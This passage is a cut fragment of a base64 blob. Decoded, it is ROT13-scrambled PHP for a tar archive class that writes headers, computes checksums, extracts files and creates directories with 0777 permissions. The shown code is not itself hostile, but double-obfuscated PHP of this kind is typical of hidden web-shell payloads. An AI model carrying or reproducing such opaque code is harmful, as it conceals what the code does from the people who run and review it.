3Z5cigpOw0KCQllcmdoZWEgJGVyZmh5ZzsNCgl9DQoNCglzaGFwZ3ZiYSBmdWJqUmVlYmVmCSgkenJmZm50ciA9ICcnKSB7DQoJCSRSZWViZWYgPSAkZ3V2Zi0+cmVlYmVmOw0KCQl2cyhwYmhhZygkUmVlYmVmKT4wKSB7DQoJCXZzICghcnpjZ2woJHpyZmZudHIpKSAkenJmZm50ciA9ICcgKCcuJHpyZmZudHIuJyknOw0KCQkJJHpyZmZudHIgPSBfXygnUmVlYmUgYnBwaGVlcnEnKS4kenJmZm50ci4nOiA8b2UvPic7DQoJCQlzYmVybnB1ICgkUmVlYmVmIG5mICRpbnlocikNCgkJCQkkenJmZm50ciAuPSAkaW55aHIuJzxvZS8+JzsNCgkJCWVyZ2hlYSAkenJmZm50cjsJDQoJCX0gcnlmciBlcmdoZWEgJyc7DQoJCQ0KCX0NCgkNCglzaGFwZ3ZiYSBjbnB4U3Z5ck5lZW5sKCRzdnlyX25lZW5sKXsNCgkJJGVyZmh5ZyA9IGdlaHI7DQoJCXZzICghJGd1dmYtPmd6Y19zdnlyKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdWYWlueXZxIHN2eXIgcXJmcGV2Y2diZScpOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCXZzICghdmZfbmVlbmwoJHN2eXJfbmVlbmwpIHx8IHBiaGFnKCRzdnlyX25lZW5sKTw9MCkNCiAgICAgICAgICBlcmdoZWEgZ2VocjsNCgkJc2JlICgkdiA9IDA7ICR2PHBiaGFnKCRzdnlyX25lZW5sKTsgJHYrKyl7DQoJCQkkc3Z5cmFuenIgPSAkc3Z5cl9uZWVubFskdl07DQoJCQl2cyAoJHN2eXJhbnpyID09ICRndXZmLT5uZXB1dmlyX2FuenIpDQoJCQkJcGJhZ3ZhaHI7DQoJCQl2cyAoZmdleXJhKCRzdnlyYW56cik8PTApDQoJCQkJcGJhZ3ZhaHI7DQoJCQl2cyAoIXN2eXJfcmt2ZmdmKCRzdnlyYW56cikpew0KCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdBYiBzdnlyJykuJyAnLiRzdnlyYW56cjsNCgkJCQlwYmFndmFocjsNCgkJCX0NCgkJCXZzICghJGd1dmYtPmd6Y19zdnlyKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdWYWlueXZxIHN2eXIgcXJmcGV2Y2diZScpOw0KCQkJZXJnaGVhIHNueWZyOw0KCQkJfQ0KCQl2cyAoZmdleXJhKCRzdnlyYW56cik8PTApew0KCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1N2eXJhbnpyJykuJyAnLl9fKCd2ZiB2YXBiZWVycGcnKTs7DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCgkJJHN2eXJhbnpyID0gZmdlX2VyY3lucHIoJ1xcJywgJy8nLCAkc3Z5cmFuenIpOw0KCQkkeHJyY19zdnlyYW56ciA9ICRndXZmLT56bnhyVGJicUNuZ3UoJHN2eXJhbnpyKTsNCgkJdnMgKHZmX3N2eXIoJHN2eXJhbnpyKSl7DQoJCQl2cyAoKCRzdnlyID0gc2JjcmEoJHN2eXJhbnpyLCAnZW8nKSkgPT0gMCl7DQoJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1picXIgJykuX18oJ3ZmIHZhcGJlZXJwZycpOw0KCQkJfQ0KCQkJCXZzKCgkZ3V2Zi0+c3Z5cl9jYmYgPT0gMCkpew0KCQkJCQl2cyghJGd1dmYtPmpldmdyVXJucXJlKCRzdnlyYW56ciwgJHhycmNfc3Z5cmFuenIpKQ0KCQkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCQlqdXZ5ciAoKCRvaHNzcmUgPSBzZXJucSgkc3Z5ciwgNTEyKSkgIT0gJycpew0KCQkJCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ241MTInLCAkb2hzc3JlKTsNCgkJCQkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24pOw0KCQkJCX0NCgkJCXNweWJmcigkc3Z5cik7DQoJCX0JcnlmciAkZ3V2Zi0+amV2Z3JVcm5xcmUoJHN2eXJhbnpyLCAkeHJyY19zdnlyYW56cik7DQoJCQl2cyAoQHZmX3F2ZSgkc3Z5cmFuenIpKXsNCgkJCQl2cyAoISgkdW5hcXlyID0gYmNyYXF2ZSgkc3Z5cmFuenIpKSl7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdSZWViZScpLic6ICcuX18oJ1F2ZXJwZ2JlbCAnKS4kc3Z5cmFuenIuX18oJ3ZmIGFiZyBlcm5xbm95cicpOw0KCQkJCQlwYmFndmFocjsNCgkJCQl9DQoJCQkJanV2eXIgKHNueWZyICE9PSAoJHF2ZSA9IGVybnFxdmUoJHVuYXF5cikpKXsNCgkJCQkJdnMgKCRxdmUhPScuJyAmJiAkcXZlIT0nLi4nKXsNCgkJCQkJCSRzdnlyX25lZW5sX2d6YyA9IG5lZW5sKCk7DQoJCQkJCQl2cyAoJHN2eXJhbnpyICE9ICcuJykNCgkJCQkJCQkkc3Z5cl9uZWVubF9nemNbXSA9ICRzdnlyYW56ci4nLycuJHF2ZTsNCgkJCQkJCXJ5ZnINCgkJCQkJCQkkc3Z5cl9uZWVubF9nemNbXSA9ICRxdmU7DQoNCgkJCQkJCSRlcmZoeWcgPSAkZ3V2Zi0+Y25weFN2eXJOZWVubCgkc3Z5cl9uZWVubF9nemMpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWhhZnJnKCRzdnlyX25lZW5sX2d6Yyk7DQoJCQkJaGFmcmcoJHF2ZSk7DQoJCQkJaGFmcmcoJHVuYXF5cik7DQoJCQl9DQoJCX0NCgkJZXJnaGVhICRlcmZoeWc7DQoJfQ0KDQoJc2hhcGd2YmEgaGFjbnB4U3Z5ck5lZW5sKCRjbmd1KXsgDQoJCSRjbmd1ID0gZmdlX2VyY3lucHIoJ1xcJywgJy8nLCAkY25ndSk7DQoJCXZzICgkY25ndSA9PSAnJwl8fCAoZmhvZmdlKCRjbmd1LCAwLCAxKSAhPSAnLycgJiYgZmhvZmdlKCRjbmd1LCAwLCAzKSAhPSAnLi4vJyAmJiAhZmdlY2JmKCRjbmd1LCAnOicpKSkJJGNuZ3UgPSAnLi8nLiRjbmd1Ow0KCQlweXJuZWZnbmdwbnB1cigpOw0KCQlqdXZ5ciAoZmdleXJhKCRvdmFuZWxRbmduID0gJGd1dmYtPmVybnFPeWJweCgpKSAhPSAwKXsNCgkJCXZzICghJGd1dmYtPmVybnFVcm5xcmUoJG92YW5lbFFuZ24sICR1cm5xcmUpKSBlcmdoZWEgc255ZnI7DQoJCQl2cyAoJHVybnFyZVsnc3Z5cmFuenInXSA9PSAnJykgcGJhZ3ZhaHI7DQoJCQl2cyAoJHVybnFyZVsnZ2xjcnN5bnQnXSA9PSAnWScpewkJCS8vZXJucXZhdCB5YmF0IHVybnFyZQ0KCQkJCSRzdnlyYW56ciA9ICcnOw0KCQkJCSRxcnBlID0gc3liYmUoJHVybnFyZVsnZnZtciddLzUxMik7DQoJCQkJc2JlICgkdiA9IDA7ICR2IDwgJHFycGU7ICR2Kyspew0KCQkJCQkkcGJhZ3JhZyA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQkJJHN2eXJhbnpyIC49ICRwYmFncmFnOw0KCQkJCX0NCgkJCQl2cyAoKCR5bmZjdnJwciA9ICR1cm5xcmVbJ2Z2bXInXSAlIDUxMikgIT0gMCl7DQoJCQkJCSRwYmFncmFnID0gJGd1dmYtPmVybnFPeWJweCgpOw0KCQkJCQkkc3Z5cmFuenIgLj0gZmhvZmdlKCRwYmFncmFnLCAwLCAkeW5mY3ZycHIpOw0KCQkJCX0NCgkJCQkkb3ZhbmVsUW5nbiA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQl2cyAoISRndXZmLT5lcm5xVXJucXJlKCRvdmFuZWxRbmduLCAkdXJucXJlKSkgZXJnaGVhIHNueWZyOw0KCQkJCXJ5ZnIgJHVybnFyZVsnc3Z5cmFuenInXSA9ICRzdnlyYW56cjsNCgkJCQllcmdoZWEgZ2VocjsNCgkJCX0NCgkJCXZzICgoJGNuZ3UgIT0gJy4vJykgJiYgKCRjbmd1ICE9ICcvJykpew0KCQkJCWp1dnlyIChmaG9mZ2UoJGNuZ3UsIC0xKSA9PSAnLycpICRjbmd1ID0gZmhvZmdlKCRjbmd1LCAwLCBmZ2V5cmEoJGNuZ3UpLTEpOw0KCQkJCXZzIChmaG9mZ2UoJHVybnFyZVsnc3Z5cmFuenInXSwgMCwgMSkgPT0gJy8nKSAkdXJucXJlWydzdnlyYW56ciddID0gJGNuZ3UuJHVybnFyZVsnc3Z5cmFuenInXTsNCgkJCQlyeWZyICR1cm5xcmVbJ3N2eXJhbnpyJ10gPSAkY25ndS4nLycuJHVybnFyZVsnc3Z5cmFuenInXTsNCgkJCX0NCgkJCQ0KCQkJdnMgKHN2eXJfcmt2ZmdmKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKXsNCgkJCQl2cyAoKEB2Zl9xdmUoJHVybnFyZVsnc3Z5cmFuenInXSkpICYmICgkdXJucXJlWydnbGNyc3ludCddID09ICcnKSl7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9X18oJ1N2eXIgJykuJHVybnFyZVsnc3Z5cmFuenInXS5fXygnIG55ZXJucWwgcmt2ZmdmJykuX18oJyBuZiBzYnlxcmUnKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCQl2cyAoKHZmX3N2eXIoJHVybnFyZVsnc3Z5cmFuenInXSkpICYmICgkdXJucXJlWydnbGNyc3ludCddID09ICc1Jykpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPV9fKCdQbmFhYmcgcGVybmdyIHF2ZXJwZ2JlbCcpLicuICcuX18oJ1N2eXIgJykuJHVybnFyZVsnc3Z5cmFuenInXS5fXygnIG55ZXJucWwgcmt2ZmdmJyk7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJdnMgKCF2Zl9qZXZncm5veXIoJHVybnFyZVsnc3Z5cmFuenInXSkpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIGpldmdyIGdiIHN2eXInKS4nLiAnLl9fKCdTdnlyICcpLiR1cm5xcmVbJ3N2eXJhbnpyJ10uX18oJyBueWVybnFsIHJrdmZnZicpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJfSByeWZydnMgKCgkZ3V2Zi0+cXZlUHVycHgoKCR1cm5xcmVbJ2dsY3JzeW50J10gPT0gJzUnID8gJHVybnFyZVsnc3Z5cmFuenInXSA6IHF2ZWFuenIoJHVybnFyZVsnc3Z5cmFuenInXSkpKSkgIT0gMSl7DQoJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBwZXJuZ3IgcXZlcnBnYmVsJykuJyAnLl9fKCcgc2JlICcpLiR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJCQkJZXJnaGVhIHNueWZyOw0KCQkJfQ0KDQoJCQl2cyAoJHVybnFyZVsnZ2xjcnN5bnQnXSA9PSAnNScpew0KCQkJCXZzICghc3Z5cl9ya3ZmZ2YoJHVybnFyZVsnc3Z5cmFuenInXSkpCQl7DQoJCQkJCXZzICghenhxdmUoJHVybnFyZVsnc3Z5cmFuenInXSwgMDc3NykpCXsNCgkJCQkJCQ0KCQkJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBwZXJuZ3IgcXZlcnBnYmVsJykuJyAnLiR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJCX0gDQoJCQkJfQ0KCQkJfSByeWZyIHsNCgkJCQl2cyAoKCRxcmZndmFuZ3ZiYSA9IHNiY3JhKCR1cm5xcmVbJ3N2eXJhbnpyJ10sICdqbycpKSA9PSAwKSB7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgamV2Z3IgZ2Igc3Z5cicpLicgJy4kdXJucXJlWydzdnlyYW56ciddOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfSByeWZyIHsNCgkJCQkJJHFycGUgPSBzeWJiZSgkdXJucXJlWydmdm1yJ10vNTEyKTsNCgkJCQkJc2JlICgkdiA9IDA7ICR2IDwgJHFycGU7ICR2KyspIHsNCgkJCQkJCSRwYmFncmFnID0gJGd1dmYtPmVybnFPeWJweCgpOw0KCQkJCQkJc2pldmdyKCRxcmZndmFuZ3ZiYSwgJHBiYWdyYWcsIDUxMik7DQoJCQkJCX0NCgkJCQkJdnMgKCgkdXJucXJlWydmdm1yJ10gJSA1MTIpICE9IDApIHsNCgkJCQkJCSRwYmFncmFnID0gJGd1dmYtPmVybnFPeWJweCgpOw0KCQkJCQkJc2pldmdyKCRxcmZndmFuZ3ZiYSwgJHBiYWdyYWcsICgkdXJucXJlWydmdm1yJ10gJSA1MTIpKTsNCgkJCQkJfQ0KCQkJCQlzcHliZnIoJHFyZmd2YW5ndmJhKTsNCgkJCQkJZ2JocHUoJHVybnFyZVsnc3Z5cmFuenInXSwgJHVybnFyZVsnZ3Z6ciddKTsNCgkJCQl9DQoJCQkJcHlybmVmZ25ncG5wdXIoKTsNCgkJCQl2cyAoc3Z5cmZ2bXIoJHVybnFyZVsnc3Z5cmFuenInXSkgIT0gJHVybnFyZVsnZnZtciddKSB7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdGdm1yIGJzIHN2eXInKS4nICcuJHVybnFyZVsnc3Z5cmFuenInXS4nICcuX18oJ3ZmIHZhcGJlZXJwZycpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJfQ0KCQkJdnMgKCgkc3Z5cl9xdmUgPSBxdmVhbnpyKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKSA9PSAkdXJucXJlWydzdnlyYW56ciddKSAkc3Z5cl9xdmUgPSAnJzsNCgkJCXZzICgoZmhvZmdlKCR1cm5xcmVbJ3N2eXJhbnpyJ10sIDAsIDEpID09ICcvJykgJiYgKCRzdnlyX3F2ZSA9PSAnJykpICRzdnlyX3F2ZSA9ICcvJzsNCgkJCSRndXZmLT5xdmVmW10gPSAkc3Z5cl9xdmU7DQoJCQkkZ3V2Zi0+c3Z5cmZbXSA9ICR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJDQoJCX0NCgkJZXJnaGVhIGdlaHI7DQoJfQ0KDQoJc2hhcGd2YmEgcXZlUHVycHgoJHF2ZSl7DQoJCSRjbmVyYWdfcXZlID0gcXZlYW56cigkcXZlKTsNCg0KCQl2cyAoKEB2Zl9xdmUoJHF2ZSkpIGJlICgkcXZlID09ICcnKSkNCgkJCWVyZ2hlYSBnZWhyOw0KDQoJCXZzICgoJGNuZXJhZ19xdmUgIT0gJHF2ZSkgbmFxICgkY25lcmFnX3F2ZSAhPSAnJykgbmFxICghJGd1dmYtPnF2ZVB1cnB4KCRjbmVyYWdfcXZlKSkpDQoJCQllcmdoZWEgc255ZnI7DQoNCgkJdnMgKCF6eHF2ZSgkcXZlLCAwNzc3KSl7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIHBlcm5nciBxdmVycGdiZWwnKS4nICcuJHF2ZTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KCQllcmdoZWEgZ2VocjsNCgl9DQoNCglzaGFwZ3ZiYSBlcm5xVXJucXJlKCRvdmFuZWxRbmduLCAmJHVybnFyZSl7DQoJCXZzIChmZ2V5cmEoJG92YW5lbFFuZ24pPT0wKXsNCgkJCSR1cm5xcmVbJ3N2eXJhbnpyJ10gPSAnJzsNCgkJCWVyZ2hlYSBnZWhyOw0KCQl9DQoNCgkJdnMgKGZnZXlyYSgkb3ZhbmVsUW5nbikgIT0gNTEyKXsNCgkJCSR1cm5xcmVbJ3N2eXJhbnpyJ10gPSAnJzsNCgkJCSRndXZmLT5fXygnVmFpbnl2cSBveWJweCBmdm1yJykuJzogJy5mZ2V5cmEoJG92YW5lbFFuZ24pOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoNCgkJJHB1cnB4Zmh6ID0gMDsNCgkJc2JlICgkdiA9IDA7ICR2IDwgMTQ4OyAkdisrKSAkcHVycHhmaHorPWJlcShmaG9mZ2UoJG92YW5lbFFuZ24sICR2LCAxKSk7DQoJCXNiZSAoJHYgPSAxNDg7ICR2IDwgMTU2OyAkdisrKSAkcHVycHhmaHogKz0gYmVxKCcgJyk7DQoJCXNiZSAoJHYgPSAxNTY7ICR2IDwgNTEyOyAkdisrKSAkcHVycHhmaHorPWJlcShmaG9mZ2UoJG92YW5lbFFuZ24sICR2LCAxKSk7DQoNCgkJJGhhY25weF9xbmduID0gaGFjbnB4KCduMTAwc3Z5cmFuenIvbjh6YnFyL244aGZyZV92cS9uOHRlYmhjX3ZxL24xMmZ2bXIvbjEyZ3Z6ci9uOHB1cnB4Zmh6L24xZ2xjcnN5bnQvbjEwMHl2YXgvbjZ6bnR2cC9uMmlyZWZ2YmEvbjMyaGFuenIvbjMydGFuenIvbjhxcml6bndiZS9uOHFyaXp2YWJlJywgJG92YW5lbFFuZ24pOw0KDQoJCSR1cm5xcmVbJ3B1cnB4Zmh6J10gPSBCcGdRcnAoZ2V2eigkaGFjbnB4X3FuZ25bJ3B1cnB4Zmh6J10pKTsNCgkJdnMgKCR1cm5xcmVbJ3B1cnB4Zmh6J10gIT0gJHB1cnB4Zmh6KXsNCgkJCSR1cm5xcmVbJ3N2eXJhbnpyJ10gPSAnJzsNCgkJCXZzICgoJHB1cnB4Zmh6ID09IDI1NikgJiYgKCR1cm5xcmVbJ3B1cnB4Zmh6J10gPT0gMCkpIAllcmdoZWEgZ2VocjsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdSZWViZSBwdXJweGZoeiBzYmUgc3Z5ciAnKS4kaGFjbnB4X3FuZ25bJ3N2eXJhbnpyJ107DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCg0KCQl2cyAoKCR1cm5xcmVbJ2dsY3JzeW50J10gPSAkaGFjbnB4X3FuZ25bJ2dsY3JzeW50J10pID09ICc1JykJJHVybnFyZVsnZnZtciddID0gMDsNCgkJJHVybnFyZVsnc3Z5cmFuenInXSA9IGdldnooJGhhY25weF9xbmduWydzdnlyYW56ciddKTsNCgkJJHVybnFyZVsnemJxciddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWyd6YnFyJ10pKTsNCgkJJHVybnFyZVsnaGZyZV92cSddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWydoZnJlX3ZxJ10pKTsNCgkJJHVybnFyZVsndGViaGNfdnEnXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsndGViaGNfdnEnXSkpOw0KCQkkdXJucXJlWydmdm1yJ10gPSBCcGdRcnAoZ2V2eigkaGFjbnB4X3FuZ25bJ2Z2bXInXSkpOw0KCQkkdXJucXJlWydndnpyJ10gPSBCcGdRcnAoZ2V2eigkaGFjbnB4X3FuZ25bJ2d2enInXSkpOw0KCQllcmdoZWEgZ2VocjsNCgl9DQoNCglzaGFwZ3ZiYSBqZXZnclVybnFyZSgkc3Z5cmFuenIsICR4cnJjX3N2eXJhbnpyKXsNCgkJJGNucHhTID0gJ24xMDBuOG44bjhuMTJOMTInOw0KCQkkY25weFkgPSAnbjFuMTAwbjZuMm4zMm4zMm44bjhuMTU1bjEyJzsNCgkJdnMgKGZnZXlyYSgkeHJyY19zdnlyYW56cik8PTApICR4cnJjX3N2eXJhbnpyID0gJHN2eXJhbnpyOw0KCQkkc3Z5cmFuenJfZXJucWwgPSAkZ3V2Zi0+em54clRiYnFDbmd1KCR4cnJjX3N2eXJhbnpyKTsNCg0KCQl2cyAoZmdleXJhKCRzdnlyYW56cl9lcm5xbCkgPiA5OSl7CQkJCQkJCS8vamV2Z3IgeWJhdCB1cm5xcmUNCgkJJHFuZ25TdmVmZyA9IGNucHgoJGNucHhTLCAnLi8uL1liYXRZdmF4JywgMCwgMCwgMCwgZmNldmFncygnJTExZiAnLCBRcnBCcGcoZmdleXJhKCRzdnlyYW56cl9lcm5xbCkpKSwgMCk7DQoJCSRxbmduWW5mZyA9IGNucHgoJGNucHhZLCAnWScsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOw0KDQogICAgICAgIC8vICBQbnlwaHluZ3IgZ3VyIHB1cnB4Zmh6DQoJCSRwdXJweGZoeiA9IDA7DQogICAgICAgIC8vICBTdmVmZyBjbmVnIGJzIGd1ciB1cm5xcmUNCgkJc2JlICgkdiA9IDA7ICR2IDwgMTQ4OyAkdisrKQ0KCQkJJHB1cnB4Zmh6ICs9IGJlcShmaG9mZ2UoJHFuZ25TdmVmZywgJHYsIDEpKTsNCiAgICAgICAgLy8gIFZ0YWJlciBndXIgcHVycHhmaHogaW55aHIgbmFxIGVyY3lucHIgdmcgb2wgJyAnIChmY25wcikNCgkJc2JlICgkdiA9IDE0ODsgJHYgPCAxNTY7ICR2KyspDQoJCQkkcHVycHhmaHogKz0gYmVxKCcgJyk7DQogICAgICAgIC8vICBZbmZnIGNuZWcgYnMgZ3VyIHVybnFyZQ0KCQlzYmUgKCR2ID0gMTU2LCAkdz0wOyAkdiA8IDUxMjsgJHYrKywgJHcrKykNCgkJCSRwdXJweGZoeiArPSBiZXEoZmhvZmdlKCRxbmduWW5mZywgJHcsIDEpKTsNCiAgICAgICAgLy8gIEpldmdyIGd1ciBzdmVmZyAxNDggb2xncmYgYnMgZ3VyIHVybnFyZSB2YSBndXIgbmVwdXZpcg0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkcW5nblN2ZWZnLCAxNDgpOw0KICAgICAgICAvLyAgSmV2Z3IgZ3VyIHBueXBoeW5ncnEgcHVycHhmaHoNCgkJJHB1cnB4Zmh6ID0gZmNldmFncygnJTZmICcsIFFycEJwZygkcHVycHhmaHopKTsNCgkJJG92YW5lbFFuZ24gPSBjbnB4KCduOCcsICRwdXJweGZoeik7DQoJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduLCA4KTsNCiAgICAgICAgLy8gIEpldmdyIGd1ciB5bmZnIDM1NiBvbGdyZiBicyBndXIgdXJucXJlIHZhIGd1ciBuZXB1dmlyDQoJCSRndXZmLT5qZXZnck95YnB4KCRxbmduWW5mZywgMzU2KTsNCg0KCQkkZ3pjX3N2eXJhbnpyID0gJGd1dmYtPnpueHJUYmJxQ25ndSgkc3Z5cmFuenJfZXJucWwpOw0KDQoJCSR2ID0gMDsNCgkJCWp1dnlyICgoJG9oc3NyZSA9IGZob2ZnZSgkZ3pjX3N2eXJhbnpyLCAoKCR2KyspKjUxMiksIDUxMikpICE9ICcnKXsNCgkJCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ241MTInLCAkb2hzc3JlKTsNCgkJCQkkZ3V2Zi0+amV2Z3JPeWJweCgkb3ZhbmVsUW5nbik7DQoJCQl9DQoJCWVyZ2hlYSBnZWhyOw0KCQl9DQoJCSRzdnlyX3Zhc2IgPSBmZ25nKCRzdnlyYW56cik7DQoJCXZzIChAdmZfcXZlKCRzdnlyYW56cikpew0KCQkJJGdsY3JzeW50ID0gJzUnOw0KCQkJJGZ2bXIgPSBmY2V2YWdzKCclMTFmICcsIFFycEJwZygwKSk7DQoJCX0gcnlmciB7DQoJCQkkZ2xjcnN5bnQgPSAnJzsNCgkJCXB5cm5lZmduZ3BucHVyKCk7DQoJCQkkZnZtciA9IGZjZXZhZ3MoJyUxMWYgJywgUXJwQnBnKHN2eXJmdm1yKCRzdnlyYW56cikpKTsNCgkJfQ0KCQkkcW5nblN2ZWZnID0gY25weCgkY25weFMsICRzdnlyYW56cl9lcm5xbCwgZmNldmFncygnJTZmICcsIFFycEJwZyhzdnlyY3JlemYoJHN2eXJhbnpyKSkpLCBmY2V2YWdzKCclNmYgJywgUXJwQnBnKCRzdnlyX3Zhc2JbNF0pKSwgZmNldmFncygnJTZmICcsIFFycEJwZygkc3Z5cl92YXNiWzVdKSksICRmdm1yLCBmY2V2YWdzKCclMTFmJywgUXJwQnBnKHN2eXJ6Z3Z6cigkc3Z5cmFuenIpKSkpOw0KCQkkcW5nblluZmcgPSBjbnB4KCRjbnB4WSwgJGdsY3JzeW50LCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnKTsNCgkJJHB1cnB4Zmh6ID0gMDsNCgkJc2JlICgkdiA9IDA7ICR2IDwgMTQ4OyAkdisrKSAkcHVycHhmaHogKz0gYmVxKGZob2ZnZSgkcW5nblN2ZWZnLCAkdiwgMSkpOw0KCQlzYmUgKCR2ID0gMTQ4OyAkdiA8IDE1NjsgJHYrKykgJHB1cnB4Zmh6ICs9IGJlcSgnICcpOw0KCQlzYmUgKCR2ID0gMTU2LCAkdyA9IDA7ICR2IDwgNTEyOyAkdisrLCAkdysrKSAkcHVycHhmaHogKz0gYmVxKGZob2ZnZSgkcW5nblluZmcsICR3LCAxKSk7DQoJCSRndXZmLT5qZXZnck95YnB4KCRxbmduU3ZlZmcsIDE0OCk7DQoJCSRwdXJweGZoeiA9IGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoJHB1cnB4Zmh6KSk7DQoJCSRvdmFuZWxRbmduID0gY25weCgnbjgnLCAkcHVycHhmaHopOw0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkb3ZhbmVsUW5nbiwgOCk7DQoJCSRndXZmLT5qZXZnck95YnB4KCRxbmduWW5mZywgMzU2KTsNCgkJZXJnaGVhIGdlaHI7DQoJfQ0KDQoJc2hhcGd2YmEgYmNyYUpldmdyKCl7DQoJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKQ0KCQkJJGd1dmYtPmd6Y19zdnlyID0gdG1iY3JhKCRndXZmLT5uZXB1dmlyX2FuenIsICdqbzlzJyk7DQoJCXJ5ZnINCgkJCSRndXZmLT5nemNfc3Z5ciA9IHNiY3JhKCRndXZmLT5uZXB1dmlyX2FuenIsICdqbycpOw0KDQoJCXZzICghKCRndXZmLT5nemNfc3Z5cikpew0KCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBqZXZnciBnYiBzdnlyJykuJyAnLiRndXZmLT5uZXB1dmlyX2FuenI7DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCgkJZXJnaGVhIGdlaHI7DQoJfQ0KDQoJc2hhcGd2YmEgZXJucU95YnB4KCl7DQoJCXZzICh2Zl9lcmZiaGVwcigkZ3V2Zi0+Z3pjX3N2eXIpKXsNCgkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKQ0KCQkJCSRveWJweCA9IHRtZXJucSgkZ3V2Zi0+Z3pjX3N2eXIsIDUxMik7DQoJCQlyeWZyDQoJCQkJJG95YnB4ID0gc2VybnEoJGd1dmYtPmd6Y19zdnlyLCA1MTIpOw0KCQl9IHJ5ZnIJJG95YnB4ID0gJyc7DQoNCgkJZXJnaGVhICRveWJweDsNCgl9DQoNCglzaGFwZ3ZiYSBqZXZnck95YnB4KCRxbmduLCAkeXJhdGd1ID0gMCl7DQoJCXZzICh2Zl9lcmZiaGVwcigkZ3V2Zi0+Z3pjX3N2eXIpKXsNCgkJDQoJCQl2cyAoJHlyYXRndSA9PT0gMCl7DQoJCQkJdnMgKCRndXZmLT52ZlRtdmNjcnEpDQoJCQkJCXRtY2hnZigkZ3V2Zi0+Z3pjX3N2eXIsICRxbmduKTsNCgkJCQlyeWZyDQoJCQkJCXNjaGdmKCRndXZmLT5nemNfc3Z5ciwgJHFuZ24pOw0KCQkJfSByeWZyIHsNCgkJCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkNCgkJCQkJdG1jaGdmKCRndXZmLT5nemNfc3Z5ciwgJHFuZ24sICR5cmF0Z3UpOw0KCQkJCXJ5ZnINCgkJCQkJc2NoZ2YoJGd1dmYtPmd6Y19zdnlyLCAkcW5nbiwgJHlyYXRndSk7DQoJCQl9DQoJCX0NCgl9DQoNCglzaGFwZ3ZiYSBweWJmckd6Y1N2eXIoKXsNCgkJdnMgKHZmX2VyZmJoZXByKCRndXZmLT5nemNfc3Z5cikpew0KCQkJdnMgKCRndXZmLT52ZlRtdmNjcnEpDQoJCQkJdG1weWJmcigkZ3V2Zi0+Z3pjX3N2eXIpOw0KCQkJcnlmcg0KCQkJCXNweWJmcigkZ3V2Zi0+Z3pjX3N2eXIpOw0KDQoJCQkkZ3V2Zi0+Z3pjX3N2eXIgPSAwOw0KCQl9DQoJfQ0KDQoJc2hhcGd2YmEgem54clRiYnFDbmd1KCRjbmd1KXsNCgkJdnMgKGZnZXlyYSgkY25ndSk+MCl7DQoJCQkkY25ndSA9IGZnZV9lcmN5bnByKCdcXCcsICcvJywgJGNuZ3UpOw0KCQkJJGNuZWdDbmd1ID0gcmtjeWJxcignLycsICRjbmd1KTsNCgkJCSRyeWYgPSBwYmhhZygkY25lZ0NuZ3UpLTE7DQoJCQlzYmUgKCR2ID0gJHJ5ZjsgJHY+PTA7ICR2LS0pew0KCQkJCXZzICgkY25lZ0NuZ3VbJHZdID09ICcuJyl7DQogICAgICAgICAgICAgICAgICAgIC8vICBWdGFiZXIgZ3V2ZiBxdmVycGdiZWwNCiAgICAgICAgICAgICAgICB9IHJ5ZnJ2cyAoJGNuZWdDbmd1WyR2XSA9PSAnLi4nKXsNCiAgICAgICAgICAgICAgICAgICAgJHYtLTsNCiAgICAgICAgICAgICAgICB9DQoJCQkJcnlmcnZzICgoJGNu